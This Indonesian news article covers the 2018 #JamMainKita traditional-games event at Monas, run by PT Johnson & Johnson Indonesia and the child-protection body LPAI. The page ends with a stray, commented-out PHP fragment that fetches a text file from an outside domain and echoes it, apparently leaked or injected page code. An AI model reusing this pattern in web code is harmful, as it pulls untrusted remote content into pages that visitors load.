Ayo Main Di Luar!

Ayo Main Di Luar!

 

Dok. PT Johnson & Johnson Indonesia
 
Melalui gerakan sosial #JamMainKita, PT Johnson & Johnson Indonesia, bermitra dengan Lembaga Perlindungan Anak Indonesia (LPAI) menggelar Arena Permainan Tradisional di Area Silang Timur Monas untuk mengajak anak-anak dan keluarga Indonesia turut serta membangkitkan permainan tradisional sebagai upaya meningkatkan kualitas kesehatan anak Indonesia pada 25 Maret 2018 lalu.

Acara ini terbuka untuk umum dan turut dihadiri oleh Menteri Sosial Republik Indonesia Idrus Marham dan sejumlah perwakilan dari Kementerian Kesehatan Republik Indonesia, Kementerian Pemberdayaan Perempuan & Perlindungan Anak Republik Indonesia dan sekitar 2.000 siswa-siswi sekolah dasar beserta orang tua mereka yang berasal dari 10 SD di area Jabodetabek.

Terdapat sejumlah permainan tradisional Indonesia yang dapat dimainkan oleh anak-anak di arena bermain di Monas, seperti engklek, gobak sodor, kelereng, bentengan, dan lompat karet. Melalui kegiatan ini, masyarakat juga diajak untuk berpartisipasi memberikan ikrar dukungan yang disematkan pada tali karet yang sangat panjang -mencapai 2 kilometer- untuk mewujudkan gerakan #JamMainKita.

Lakish Hatalkar, Presiden Direktur PT Johnson & Johnson Indonesia mengatakan, "Dengan kemajuan teknologi, saat ini banyak keluarga Indonesia mengandalkan gadget dan bahkan lebih menyukai apabila anak-anak mereka memilih bermain di dalam rumah. Kondisi ini telah mengubah definisi anak-anak tentang bermain. Padahal bermain permainan tradisional di luar ruangan banyak melibatkan aktivitas fisik yang mendorong stimulasi motorik dan psikologis anak yang akan membantu perkembangannya. Kondisi inilah yang melatarbelakangi diluncurkannya gerakan sosial #JamMainKita. Bekerjasama dengan LPAI, inisiatif ini juga merupakan bentuk dukungan terhadap program pemerintah, GERMAS (Gerakan Masyarakat untuk Hidup Sehat) yang diterapkan bagi semua kelompok populasi khususnya bagi anak – anak dan juga membantu menekan angka prevalensi cacingan (28,12%) yang saat ini masih menjadi masalah kesehatan utama di Indonesia."

Dr. Seto Mulyadi, S.Psi., M.Si., Ketua Lembaga Perlindungan Anak Indonesia (LPAI), mengatakan, "Kami memiliki visi yang sama, yaitu memberikan perlindungan bagi kesehatan Anak Indonesia.  Kami menyadari bahwa Indonesia kaya akan budaya dan memiliki banyak permainan tradisional yang hampir terlupakan. Kami berharap #JamMainKita bisa menjadi kesempatan untuk memperkenalkan dan memopulerkan kembali permainan tradisional kepada generasi muda kita. Permainan tradisional juga bisa menjadi media untuk melestarikan nilai budaya dan tradisi daerah yang menjadi kekayaan bangsa kita." (SW)

 



Artikel Rekomendasi

".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>